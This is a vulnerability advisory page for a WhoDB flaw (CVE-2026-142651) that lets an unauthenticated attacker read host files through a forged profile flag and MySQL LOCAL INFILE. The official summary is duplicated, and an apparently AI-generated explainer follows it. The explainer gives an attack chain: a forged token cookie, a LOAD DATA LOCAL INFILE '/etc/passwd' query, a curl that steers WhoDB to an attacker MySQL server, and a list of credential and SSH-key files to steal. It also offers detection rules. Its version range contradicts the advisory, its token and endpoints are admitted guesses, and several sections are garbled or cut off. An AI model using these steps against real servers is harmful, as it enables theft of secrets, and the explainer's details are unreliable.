CVE-2026-142651 — Clidey Whodb — CWE-73 · CWE-863
## Summary WhoDB accepted a client-controlled `IsProfile` flag from legacy Bearer and `Token` cookie credentials. Setting this flag to `true` allowed an unauthenticated requester to pass arbitrary advanced MySQL connection options, including `allowAllFiles=true`, to `go-sql-driver/mysql`. An attacker who can reach WhoDB and operate a MySQL server reachable from the WhoDB host can make the driver answer a `LOAD DATA LOCAL INFILE` request with a file from the WhoDB host. Files are limited to those readable by the WhoDB process, and their contents are sent to the attacker-controlled MySQL server. This is a bypass of the trust boundary introduced while remediating CVE-2025-24787 / GHSA-c7w4-9wv8-7x7c. It has a distinct root cause and affected-version range, so it is tracked separately. ## Affected path The legacy credential middleware decoded attacker-supplied JSON directly into `Credentials`, including `IsProfile`. Inline credentials skipped server-side profile resolution, so the attacker-supplied trust flag survived. When `IsProfile` was true, the shared GORM connection parser copied otherwise-unrecognized advanced options into the MySQL DSN. This allowed `allowAllFiles=true` to enable unrestricted handling of MySQL `LOCAL INFILE` requests. The attack does not require a WhoDB account, an existing session, a CSRF token, or user interaction. ## Maintainer validation The maintainers reproduced the complete data path against the vulnerable code: 1. An unauthenticated Bearer credential containing `IsProfile: true` and `allowAllFiles: true` was accepted. 2. `allowAllFiles` reached the MySQL driver configuration. 3. A controlled MySQL server requested a chosen local file and received its contents byte-for-byte. The issue is confirmed in releases through `0.131.0`. The vulnerable profile-option path first appears in `0.47.0`. ## Impact This permits unauthenticated disclosure of files readable by the WhoDB process. Depending on deployment configuration, those files may include application configuration, environment-backed secrets, database credentials, API keys, or other host data. ## Remediation Commit `06d0670caeffee82bef5b1c9721ae1ccc39cbbcd` fixes the reported route by: - clearing client-supplied `IsProfile` before any credential processing; - restoring profile trust only through server-side saved-profile resolution; and - restricting client overrides of stored profiles to supported database selection, preventing connection targets, secrets, TLS paths, and advanced DSN options from being replaced. Focused authentication and MySQL tests pass on the fixed code. ## Credit Reported by Lee Zhi Yang ([Xeraaaaaaa](https://github.com/Xeraaaaaaa)).
## Summary WhoDB accepted a client-controlled `IsProfile` flag from legacy Bearer and `Token` cookie credentials. Setting this flag to `true` allowed an unauthenticated requester to pass arbitrary advanced MySQL connection options, including `allowAllFiles=true`, to `go-sql-driver/mysql`. An attacker who can reach WhoDB and operate a MySQL server reachable from the WhoDB host can make the driver answer a `LOAD DATA LOCAL INFILE` request with a file from the WhoDB host. Files are limited to those readable by the WhoDB process, and their contents are sent to the attacker-controlled MySQL server. This is a bypass of the trust boundary introduced while remediating CVE-2025-24787 / GHSA-c7w4-9wv8-7x7c. It has a distinct root cause and affected-version range, so it is tracked separately. ## Affected path The legacy credential middleware decoded attacker-supplied JSON directly into `Credentials`, including `IsProfile`. Inline credentials skipped server-side profile resolution, so the attacker-supplied trust flag survived. When `IsProfile` was true, the shared GORM connection parser copied otherwise-unrecognized advanced options into the MySQL DSN. This allowed `allowAllFiles=true` to enable unrestricted handling of MySQL `LOCAL INFILE` requests. The attack does not require a WhoDB account, an existing session, a CSRF token, or user interaction. ## Maintainer validation The maintainers reproduced the complete data path against the vulnerable code: 1. An unauthenticated Bearer credential containing `IsProfile: true` and `allowAllFiles: true` was accepted. 2. `allowAllFiles` reached the MySQL driver configuration. 3. A controlled MySQL server requested a chosen local file and received its contents byte-for-byte. The issue is confirmed in releases through `0.131.0`. The vulnerable profile-option path first appears in `0.47.0`. ## Impact This permits unauthenticated disclosure of files readable by the WhoDB process. Depending on deployment configuration, those files may include application configuration, environment-backed secrets, database credentials, API keys, or other host data. ## Remediation Commit `06d0670caeffee82bef5b1c9721ae1ccc39cbbcd` fixes the reported route by: - clearing client-supplied `IsProfile` before any credential processing; - restoring profile trust only through server-side saved-profile resolution; and - restricting client overrides of stored profiles to supported database selection, preventing connection targets, secrets, TLS paths, and advanced DSN options from being replaced. Focused authentication and MySQL tests pass on the fixed code. ## Credit Reported by Lee Zhi Yang ([Xeraaaaaaa](https://github.com/Xeraaaaaaa)).
🎯 What is this vulnerability?
This vulnerability is a Critical Unauthenticated Arbitrary File Read (CWE-73: External Control of File Name or Path, CWE-863: Incorrect Authorization) in WhoDB, an open-source database management tool.
The core technical flaw lies in the credential parsing and trust boundary enforcement within the application's backend. Specifically:
1. Improper Credential Decoding: The application accepts Bearer and Token cookies. It decodes the data within these cookies into a Credentials.IsProfile object without sufficient validation of the source or integrity of the data.
2. Broken Authorization Logic: The Credentials.IsProfile flag is used to bypass standard authentication checks. Because the input is attacker-controlled, an unauthenticated user can forge this flag to true.
3. Unsafe GORM/MySQL Interaction: The forged profile allows the request to pass through the allowAllFiles logic in the shared GORM (Go Object Relational Mapping) connection parser.
4. MySQL LOAD DATA LOCAL INFILE Exploitation: The critical exploitation vector is the MySQL driver's handling of LOAD DATA LOCAL INFILE. When the MySQL server (controlled by the attacker or reachable from the host) responds to a query, it can request a local file from the client (the WhoDB process). Because the WhoDB process is running with sufficient permissions to read sensitive files (config files, .env, SSH keys, etc.), it will send the contents of the requested file back to the MySQL server.
In essence: An attacker does not need to execute code on the WhoDB host. They only need to:
1. Forge a valid-looking token to trick WhoDB into thinking it is an authorized user.
2. Trigger a database query that results in a LOAD DATA LOCAL INFILE request.
3. Receive the file contents via the MySQL protocol.
⚡ Attack Chain
1. Discovery & Reconnaissance
- Service Identification: Use tools like
nmaporwhatwebto identify the WhoDB web interface. Look for default ports (often 8080, 3000, or custom) and HTTP headers indicating the Go-based framework. - Version Fingerprinting: Check the
/versionendpoint (if exposed) or analyze the UI assets/JS files to determine the version. Confirm the version is between 0.47.0 and 0.134.0. - MySQL Reachability: Verify that the WhoDB host can connect to a MySQL server. If the attacker controls the MySQL server (e.g., in a cloud environment where the DB is public or in a compromised internal network), this is the primary attack surface. If the attacker does not control the MySQL server, they may need to pivot through another compromised host or exploit a misconfigured DB.
2. Exploitation
Note: The exact endpoint URI for triggering the file read is not explicitly stated in the CVE description. The following is an illustrative example of the vulnerability class based on the described mechanics.Step A: Forge Credentials
The attacker crafts a Bearer or Token cookie that decodes into a valid Credentials.IsProfile structure. This likely involves JSON or a similar format that the Go backend parses.
GET /api/v1/databases HTTP/1.1
Host: whodb.example.com
Cookie: Token=eyJ1c2VyIjoiYWRtaW4iLCJwcm9maWxlIjp0cnVlfQ(Illustrative: The token content is a guess based on the description "decode attacker-controlled data into Credentials.IsProfile". The actual structure depends on the WhoDB implementation.)
Step B: Trigger LOAD DATA LOCAL INFILE
The attacker sends a request to a database query endpoint. The payload is crafted to include a LOAD DATA LOCAL INFILE statement. However, since the attacker controls the MySQL server, they can simply wait for the connection and send the file request via the MySQL protocol.
Alternatively, if the WhoDB application allows direct SQL execution (common in DB management tools), the attacker might send:
LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE temp_table;But the CVE specifies the attacker operates a MySQL server reachable from the WhoDB host. This implies the attacker does not need to send the SQL command directly. Instead:
1. The attacker establishes a connection to the MySQL server they control.
2. The WhoDB application connects to this MySQL server (either by configuration or by the attacker tricking it into connecting to their server).
3. The attacker's MySQL server sends a LOAD DATA LOCAL INFILE request for a specific file (e.g., /etc/whodb/config.yaml or /root/.ssh/id_rsa).
4. The WhoDB process, believing it is a legitimate MySQL client, reads the file and sends its contents back to the attacker's MySQL server.
PoC Concept (Illustrative):
# 1. Attacker sets up a malicious MySQL server on port 3306 (or another port)
# 2. Attacker configures WhoDB to connect to this malicious server (if possible)
# OR exploits a feature that allows dynamic connection testing.
# 3. Attacker sends a request to WhoDB that triggers a connection to the malicious server.
# 4. The malicious server requests the file.
# Example curl to trigger a connection test (illustrative endpoint):
curl -X POST http://whodb.example.com/api/v1/connections/test \
-H "Content-Type: application/json" \
-H "Cookie: Token=eyJ1c2VyIjoiYWRtaW4iLCJwcm9maWxlIjp0cnVlfQ" \
-d '{"host": "attacker-mysql-server", "port": 3306, "user": "root", "password": "pass"}'The actual exploitation relies on the MySQL protocol interaction, not just the HTTP request. The HTTP request is merely the trigger to establish the DB connection.
3. Post-Exploitation
/etc/passwd (user enumeration)
* /etc/shadow (if readable, unlikely but possible)
* Application config files (e.g., config.yaml, application.properties) containing database credentials, API keys, AWS secrets.
* SSH private keys (/root/.ssh/id_rsa, /home/user/.ssh/id_rsa).
🌍 Real World Impact
C:H reflects this.I:N indicates that the vulnerability itself does not allow direct modification of data or system state. However, indirect integrity impacts are possible if stolen credentials are used to modify data later.A:N indicates no direct denial of service. The application remains functional.S:C indicates that the vulnerability affects resources beyond the security scope of the vulnerable component. The WhoDB application is compromised, but the impact extends to the underlying host's file system and potentially other systems (via stolen credentials).Practical Consequences:
🛡️ Remediation & Mitigation
1. Upgrade
2. Workarounds (If Upgrade is Not Immediately Possible)
LOCAL INFILE: If the MySQL server is under your control, disable the LOCAL INFILE feature.my.cnf or my.ini:[mysqld]
local_infile = 0* Restart the MySQL server.
Note: This only works if the attacker does not control the MySQL server. If the attacker controls the server, they can still exploit the vulnerability if the client (WhoDB) allows it.*
/etc/shadow, /root/.ssh/).3. Detection
Token or Bearer cookies.GET /api/v1/... HTTP/1.1 with Cookie: Token=... where the token decodes to a profile flag.
LOAD DATA LOCAL INFILE requests. However, since the attacker is the server, they may not log these. Instead, monitor the WhoDB host for outbound MySQL connections to unexpected IPs.auditd (Linux) or Sysmon (Windows) can detect when the WhoDB process reads sensitive files (e.g., /etc/passwd, ~/.ssh/id_rsa).auditd rule:-w /etc/passwd -p r -k file_read
-w /root/.ssh -p r -k ssh_key_readLOAD DATA LOCAL INFILE packets in the traffic.⚠️ Urgency
[🤖 CVE Professor AI Security Engine]
FOFA Query